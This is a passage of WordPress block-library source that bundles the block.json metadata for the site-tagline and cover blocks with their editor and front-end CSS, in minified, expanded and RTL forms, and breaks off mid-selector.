	"category": "theme",
	"description": "Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.",
	"keywords": [ "description" ],
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"example": {},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-site-tagline-editor"
}
.wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0}.wp-block-site-tagline__placeholder{
  border:1px dashed;
  padding:1em 0;
}.wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0}.wp-block-site-tagline__placeholder{
  border:1px dashed;
  padding:1em 0;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/cover",
	"title": "Cover",
	"category": "media",
	"description": "Add an image or video with a text overlay.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string"
		},
		"useFeaturedImage": {
			"type": "boolean",
			"default": false
		},
		"id": {
			"type": "number"
		},
		"alt": {
			"type": "string",
			"default": ""
		},
		"hasParallax": {
			"type": "boolean",
			"default": false
		},
		"isRepeated": {
			"type": "boolean",
			"default": false
		},
		"dimRatio": {
			"type": "number",
			"default": 100
		},
		"overlayColor": {
			"type": "string"
		},
		"customOverlayColor": {
			"type": "string"
		},
		"isUserOverlayColor": {
			"type": "boolean"
		},
		"backgroundType": {
			"type": "string",
			"default": "image"
		},
		"focalPoint": {
			"type": "object"
		},
		"minHeight": {
			"type": "number"
		},
		"minHeightUnit": {
			"type": "string"
		},
		"gradient": {
			"type": "string"
		},
		"customGradient": {
			"type": "string"
		},
		"contentPosition": {
			"type": "string"
		},
		"isDark": {
			"type": "boolean",
			"default": true
		},
		"allowedBlocks": {
			"type": "array"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"tagName": {
			"type": "string",
			"default": "div"
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"anchor": true,
		"align": true,
		"html": false,
		"spacing": {
			"padding": true,
			"margin": [ "top", "bottom" ],
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"color": {
			"__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
			"heading": true,
			"text": true,
			"background": false,
			"__experimentalSkipSerialization": [ "gradients" ],
			"enableContrastChecker": false
		},
		"dimensions": {
			"aspectRatio": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowJustification": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-cover-editor",
	"style": "wp-block-cover"
}
.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}.editor-styles-wrapper .wp-block-cover{
  box-sizing:border-box;
}
.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  opacity:.3;
}
.wp-block-cover .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  z-index:1;
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:right;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-right:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.wp-block-cover>.components-drop-zone .components-drop-zone__content{
  opacity:.8 !important;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-cover:after{
  min-height:auto;
}.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image:after,.wp-block-cover:after{
  content:"";
  display:block;
  font-size:0;
  min-height:inherit;
}
@supports (position:sticky){
  .wp-block-cover-image:after,.wp-block-cover:after{
    content:none;
  }
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit;
  width:100%;
  z-index:1;
}
.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){
  color:inherit;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}

.wp-block-cover__image-background,.wp-block-cover__video-background{
  z-index:0;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image 